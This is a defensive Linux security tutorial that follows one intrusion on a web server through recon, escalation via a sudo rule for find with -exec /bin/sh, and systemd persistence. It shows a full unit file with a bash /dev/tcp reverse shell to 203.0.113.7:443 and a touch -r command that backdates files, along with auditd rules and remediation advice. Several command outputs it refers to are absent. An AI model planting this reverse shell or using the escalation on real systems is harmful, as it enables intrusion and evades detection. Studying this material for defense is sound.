The intrusion chain on Linux
Access, escalate, persist, act.
A burglar who gets into a house rarely grabs the safe on the way past the front door. They step inside, walk the rooms to learn the layout, find where the keys and the valuables are kept, quietly unlatch a back window so they can return, and only then take what they came for. An attacker who lands on a Linux server behaves the same way, and the sequence is regular enough that naming its stages gives you a map you can use twice: once to catch an intrusion while it is happening, and again to reconstruct it afterward.
The stages are initial access (getting the first foothold, often a low-privilege service account), reconnaissance (learning what this machine is and what it can reach), privilege escalation (turning that weak foothold into root, the all-powerful administrator account), persistence (planting a reliable way back in so a reboot or a patched bug does not lock them out), and actions on objectives (the actual point of the break-in, whether that is stealing data, spreading to other machines, or wrecking something). Every stage touches the system in its own way. Every stage leaves marks a defender can read.
The best way to learn the marks is to follow one intruder across one box. Call it web01, an ordinary Ubuntu server running a website. The attacker got in through a bug in the web application, so the shell they control runs as www-data, the unprivileged account the web server uses. Weak, boxed-in, and exactly where most Linux intrusions begin.
Landing and looking around
A thief who has climbed through the window stops and listens before moving. The Linux version of that pause is a burst of read-only commands that answer four questions: who am I, what is this machine, what is running, and what can I reach. This is reconnaissance, and it is usually the first moment you can catch. A service account exists to serve web pages. When that same account suddenly asks who it is and starts mapping the network, it is doing something it was never built to do.
Four seconds of typing, and the attacker knows a lot. The kernel (the core of the operating system, the layer that talks straight to the hardware) is 5.15.0-91, a version number they can match against public lists of known exploits. Port 3306 is open on 127.0.0.1, the address that means "this machine only", so there is a MySQL database (the software that stores the website's data) sitting right here, worth emptying later. That last command, ss, shows which ports the machine is listening on; its Process column is blank because www-data cannot see details of processes owned by other users, and that gap is itself a hint that they need more power. For you, no single command is the tell. The pattern is: a web account running id, uname, and ss back to back, in seconds, with no human pauses between them.
From service account to root
Root is the master key. It can read any file, kill any process, and change any setting on the box, so every attacker who lands as a weak account immediately goes looking for a way up. Two of the most common ladders on Linux are sudo (a tool that lets specific users run specific commands as root) and SUID binaries. SUID is short for Set User ID: a program flagged this way runs with its owner's powers instead of yours, which is how an ordinary user can change their own password inside a file that only root may write. Both features are useful, and both are routinely misconfigured.
That first block is the jackpot. Someone gave www-data permission to run /usr/bin/find as root with no password (that is what NOPASSWD means). find looks harmless, but it can launch other programs through its -exec option, and once find is running as root, anything it launches runs as root too. This trick is catalogued in GTFOBins, a public list of ordinary system programs and the unexpected ways they can be turned into privilege-escalation tools. The SUID list below it is the normal set for an Ubuntu box, so there is nothing extra to abuse there. The sudo rule is the open door.
uid=0 is root. The attacker now owns the machine. Here is the part that matters for you: sudo does not do this quietly. Every time it runs, it writes a line to the authentication log, and this one is loud.
A web account (uid=33) opening a root session, running find with -exec /bin/sh, from the website's own directory, at three in the morning. Any one of those facts is odd. Together they are an alert that should page someone.
Buying a way back in
The web bug that let them in might be patched tomorrow, and a reboot kills their current shell. So before doing anything noisy, a careful attacker cuts a spare key. That is persistence: a mechanism that survives reboots and hands them a shell again without re-exploiting anything. On a modern Linux running systemd (the manager that starts and supervises background services at boot), a favorite trick is to install a service that looks like plumbing and quietly dials back out to the attacker.
[Unit]Description=Network Connectivity HelperAfter=network-online.target[Service]Type=simpleExecStart=/bin/bash -c 'bash -i >& /dev/tcp/203.0.113.7/443 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=multi-user.target
The name says "network helper". The ExecStart line says something else: open an interactive bash shell and wire its input and output to a TCP connection (Transmission Control Protocol, the ordinary two-way network link your browser uses) reaching out to 203.0.113.7 on port 443. This is a reverse shell. Instead of the attacker knocking on the server's door, the server phones the attacker, like a burglar leaving your landline off the hook and dialed to their number, which slips past firewalls that block incoming connections but wave outgoing ones through. Port 443 is the one normally used for HTTPS (the encrypted web traffic browsers speak), so the connection hides in the crowd of ordinary web requests. Restart=always means that if the line drops, systemd dials again. Enabling the service wires the whole thing into every boot.
As a defender, you hunt for exactly this. Freshly written unit files, and ExecStart lines that call shells or open raw network connections, have no place in a normal service definition.
That catches it after the fact. To catch it as it happens, use auditd (the audit daemon, the kernel's own event recorder). Think of it as a security camera you point at specific doors: you tell it which files to watch, and it logs every write with the who, what, and when attached, at the moment the write happens.
# Alert on writes to the usual persistence hiding spots.-w /etc/systemd/system/ -p wa -k persistence_systemd-w /etc/cron.d/ -p wa -k persistence_cron-w /root/.ssh/authorized_keys -p wa -k persistence_sshkey-w /etc/rc.local -p wa -k persistence_rclocal
touch -r /etc/hostname /etc/systemd/system/network-check.service backdates the planted unit to look years old, and your two-hour window sails right past it. This is why the auditd record beats the file's own metadata: auditd logs the write at the instant it happens and stamps it with the real event time, so a later touch cannot un-write history. Hunt with both, and believe the audit log when the two disagree.Naming what you see with MITRE ATT&CK
Bird-watchers carry a field guide so everyone calls the same bird by the same name. Security teams have one too, called MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge), a large public catalog of the things attackers actually do. It is organized in two layers: tactics, which are the attacker's goals (persistence, privilege escalation, discovery), and techniques, the specific methods under each goal, each with an ID you can look up and map your alerts against.
Every move in this walkthrough has an entry. The recon burst maps to Discovery, with System Information Discovery (T1082) for uname and System Owner/User Discovery (T1033) for id. The sudo abuse is Abuse Elevation Control Mechanism: Sudo and Sudo Caching (T1548.003), while a poisoned SUID binary would be T1548.001. The rogue service is Create or Modify System Process: Systemd Service (T1543.002); its two cousins, a malicious cron job (a task Linux runs automatically on a schedule) and a planted SSH key (a stored credential that grants remote login), are T1053.003 and T1098.004. The reverse shell phoning home over 443 maps to Application Layer Protocol (T1071), the command-and-control category, meaning the channel a compromised box uses to talk back to its operator. The value of these codes is coverage: you can lay your detections over the catalog and see, in plain sight, which techniques you would notice and which would walk straight past you.
Watching the whole chain
Actions on objectives is where the attacker finally spends what they took the machine for, and it usually shows up as traffic leaving the building. The reverse shell from that service is a clean example, and it carries a tell that is hard to hide: a command shell has no business holding a network connection open. Shells talk to terminals, not to machines across the internet.
The sshd line is normal. The bash line is not. A bash process with an established outbound connection to some random host on 443 is a reverse shell wearing an HTTPS costume, and no honest workload produces it. Notice that you did not need to catch the original web exploit to arrive here. You could have flagged the recon, the sudo call, the new unit file, or this connection, and any one of them pulls the whole thread loose. That is the real payoff of thinking in a chain: the attacker has to slip past every stage cleanly, and you only have to catch one.
Close the door you found open
Finding the intrusion is half the job. The other half is shutting the exact hole that allowed it, then proving the fix took hold. The escalation here rode on one bad sudo line, so the repair is to remove it with visudo (the safe editor for the sudo rules file, which refuses to save a version that would break sudo), then confirm the permission is truly gone.
That last line is the verification. www-data can no longer reach root through sudo, so the ladder the attacker climbed is gone. Do the same for every stage you instrumented: keep the auditd watches loaded across reboots, alert on shells that hold sockets, and re-run sudo -l -U for each service account, so the next person who lands as www-data finds a much shorter list of ways up.
Try this
Work through “Close the door you found open” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.
Takeaway
The trap worth remembering here: file timestamps can lie. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.